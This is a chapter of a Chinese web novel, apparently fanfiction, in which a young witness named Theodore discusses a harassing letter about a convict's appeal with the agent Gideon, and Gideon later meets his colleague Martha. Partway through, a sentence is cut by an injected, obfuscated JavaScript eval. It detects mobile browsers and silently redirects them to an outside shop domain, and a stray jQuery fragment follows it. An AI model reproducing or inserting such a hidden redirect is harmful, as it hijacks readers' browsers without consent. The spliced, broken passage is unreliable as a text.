文趣网 > 都市小说 > [综]有个问题想请教一下 > 34.第 34 章
    “叙事?”

    狄奥多心下有了不祥的预感。他想到那封信上荒谬而扭曲的文字。

    “一个被媒体和公众审判的‘可怜人’的叙事。”基甸的语气也难掩那丝厌恶,“他们需要一个人来扮演‘迫害者’的角色。你在初审的时候是最关键的证人,你是唯一一个在案发现场全程保持清醒的人。你的证词把他送进了无期徒刑的地狱。所以他们需要一个故事,说你是出于创伤后的报复心理夸大了事实,说你的证词不可信……”

    基甸的语气甚至带上了一丝犹豫:“说你对布歇尔的揭发完全是言过其实的攻击。”

    但他最后还是决定把外界正在发生的一切告诉这个过分坚韧的孩子。

    狄奥多握着手机的手没有抖,但他的呼吸变重了。

    “他们在编造。”基甸说,“编得很拙劣,但有人信。那些支持者是真的相信布歇尔是无辜的。那封信不是律师写的,是个被煽动起来的普通人写的。律师不会蠢到留下那种证据。”

    “所以呢?”狄奥多问,“我就当作没收到这封信?当作什么都没发生?”

    “不。”基甸的语气严肃起来,“你把信交给校警,校警会转到我们这里。我们要把这个记录下来,因为如果后续有更多的骚扰,我们可以申请人身保护令。但是——”

    基甸的声音又放轻了,“狄奥多,你现在不能公开回应这件事。你不能接受采访,不能在网上发任何东西,不能在公开场合谈论布歇尔的案子。你回应了,就等于给他们提供了弹药。他们会把你的每一句话剪裁、拼接、扭曲,然后说‘看,这个证人在利用媒体影响舆论’。”

    “所以我只能闭嘴。”

    “只是暂时。”基甸立刻纠正,“等上诉程序正式启动,丹顿律师会来处理这些。你现在要做的,是继续上课,继续考试,继续你该做的一切。不要让布歇尔从你这里再拿走任何东西。”

    狄奥多闭上眼睛。眼前浮现的不是布歇尔的脸,是徒步社在塞伦镇上合影时,科尼让他站在赫莲娜旁边时,大家的笑脸。他还记得那时科尼是怕他挡住“journey"的“ney”,让大家变成法国人。确实很好笑。

    “基甸,”他睁开眼,声音很低,“即便我知道这是你心中正确的选择,我也很难接受。”

    电话那头沉默了很久。

    “我知道。”基甸的声音有点涩,“但正因如此,我们才不可能让现在的你去和布歇尔明面对抗、让当时未成年的你再出现在公众前。那对你更可能造成伤害,而不会有助于打击布歇尔。布歇尔就是想看到幸存者被他毁了正常的生活。你在初审时保护好了丹尼尔和凯伦,现在该我们保护你了。”

    狄奥多张了张嘴,想说点什么,但又咽了回去。

    他想说“你们保护不了赫莲娜”。但那太不公平了。赫莲娜被判刑不是基甸的错。

    他想说“我不需要保护,我需要那个混蛋永远出不来”。但基甸已经说了,上诉程序的启动不会因为他的愤怒而改变。

    他开始觉得胸口堵着什么,很沉,很闷,像溺水的人在往下沉的时候抓不到任何东西。

    “狄奥多?”基甸在电话那头喊他。

    “我在。”狄奥多深吸一口气,只有这样他才不会感到窒息。

    “明天下午我去找你。我们当面谈。”

    “……好。”

    狄奥多挂了电话,把手机放在桌上。手机屏幕朝下,像一扇不再被打开的门。

    房间里重新安静下来。窗外起了风,山毛榉的叶子在路灯下晃,影子在桌上一颤一颤的。狄奥多坐在椅子上一动不动,看着那晃动的影子。

    他想到了凯伦。想到她康复出院的时候,所有来看望她的人都在笑;只有她没有笑,只是回头看了一下窗外,像在确认自己还在不在人世间。

    他想到了丹尼尔。想到他在医院病床上的一年多时间里由健壮变得无比消瘦的身体。他在医院里第一次重新站起来的时候,护士和医生都在鼓掌。

    他想到科尼,他曾经是一个那么好的社长,细心地照顾着每一个徒步旅行社的成员。想到科尼的妈妈在法庭上哭,哭声很大,像某种动物的嚎叫,法官敲了两次法槌才让她安静下来。

    然后他想到自己。想到在那个阴暗潮湿的山洞里,布歇尔审视他的眼神。想到今天,布歇尔甚至不用亲自动手,就有人替他把刀递过来了。

    狄奥多把那张信封从桌角拿过来,翻到正面,看着上面歪歪扭扭的字迹。

    “狄奥多·克罗夫特收。”

    狄奥多把它放进了抽屉里,关好。

    他的脑子太乱了。他决定先睡一觉再带着它去找校警。

    然后金发青年站起来,把窗户关上,拉上窗帘,脱掉外套,躺到床上,闭上眼睛。他听着窗外的风声,和远处偶尔传来的汽车引擎声,慢慢失去了意识。

    狄奥多不知道自己是什么时候睡着的。只知道被手机震动吵醒的时候,灯还亮着,舍友还没回来,窗外已经全黑了。他拿起来看,是赤井秀一发来的消息:

    “明天两点。图书馆,三楼。别忘了?”

    狄奥多盯着屏幕看了几秒,脸上疲惫的表情中多了几丝暖意。他回复了个符号表情:“;)”

    发出去之后,他又看了一遍。然后关了灯,把手机放在枕头边,在黑暗中睁着眼睛。

    过了很久,他翻了个身,把被子拉到下巴,闭上了眼睛。

    ---

    基甸挂断电话的时候,办公室里还残留着狄奥多声音里那种克制的、却掩不住怒意的尾音。

    他把手机放在桌上,靠进椅背,食指和拇指捏了捏鼻梁。窗外是纽约傍晚的天空,灰蓝色的,有几道飞机拉出的白线,正慢慢散开。楼下学生的喧闹逐渐传开,看来是什么聚会或者演讲正巧散场了。

    基甸揉了揉眉心,不得不疲惫地承认:

    狄奥多说得对。应该有人告

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506679|202170||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    诉他布歇尔这段时间都干了什么。

    但告诉他又能怎样呢?

    基甸睁开眼睛,盯着天花板上一块小小的水渍,形状像伊利诺伊州。他十六岁的时候在做什么?十八岁呢?那时候芝加哥的一切都欣欣向荣,他可以花费大把无意义的时间在球场打球,在追女孩,在跟父母顶嘴。但绝没有一种可能是坐在律师办公室里,听一个成年人说“你要有被揭开伤口的心理准备”,甚至收到一张荒谬绝伦的恐吓信。

    门被敲了两下,然后直接开了。

    玛莎·格兰特推门进来,左臂夹着一沓文件,另一只手端着一杯看起来加了至少两杯牛奶的拿铁咖啡。她穿着深灰色的西装外套,里面是一件墨绿色的长袖衫,让人很容易就能看出她穿衣更追求舒适度;头发盘在脑后,有几缕碎发落在耳边。她看起来和四年前在马里兰大学共事时没什么变化——只是眼角的纹路深了一点,笑起来的时候更明显一些。

    “抱歉让你久等了。”

    玛莎走到办公桌旁顺手放下文件和咖啡,拉开自己的台灯。这时她才看清基甸坐在自己办公桌前的样子,尤其是那纠结的表情,不由得愣了一下。

    “你还好吗?”

    “没事。”基甸放下手,坐直了些,“怎么了?”

    玛莎拉开了自己的办公椅坐下。

    “下周有个大课,想请你来做个拓展讲座。”她端起咖啡喝了一口,目光越过杯沿看着基甸,“你之前答应过我的,不会忘了吧?”

    基甸想起来了。上个月他跟玛莎通话时,玛莎跟他提过,说犯罪心理学的课上想请一线探员来讲讲实务,他当时答应了,但具体时间一直没敲定。

    “没忘。”他说,“什么时候?”

    “下周二下午。三点到六点。”玛莎从文件里抽出一张纸推过来,“这是课程大纲,你看看从哪个角度切入比较合适。主要是案例分析,学生们都喜欢听真实的,也正好历练历练他们。”

    基甸接过纸,扫了一眼。拟定的课程名称是“犯罪心理学的实务应用”,下面列了几个案例,都是经典的老案子,玛莎特地还列了两个他经手过的案子。基甸看完点了点头:“可以。我准备一下。”

    玛莎就也点点头,然后才提起基甸在这里等她半个小时所为的那件事:

    “对了,”玛莎换了个语气,身体往前倾了一点,手肘撑在桌面上,“你之前给我打电话说的那个学生,瑞德。我跟他聊过了。”

    如果不是基甸要拜托她帮忙带带瑞德,她也没那么轻松就能把这个大忙人请来给自己作讲座。

    基甸的眉毛抬了一下:“怎么样?”

    玛莎总觉得基甸的语气中颇有两分自得。不过如果是面对瑞德这样的人才,也很难有人能忍住不炫耀吧。

    “非常聪明。聪明得让人有点——不知道该怎么形容。”玛莎想了想,用了一个词,“他很锐利。他的脑子像一把刚开刃的刀,切什么都很快。但是……”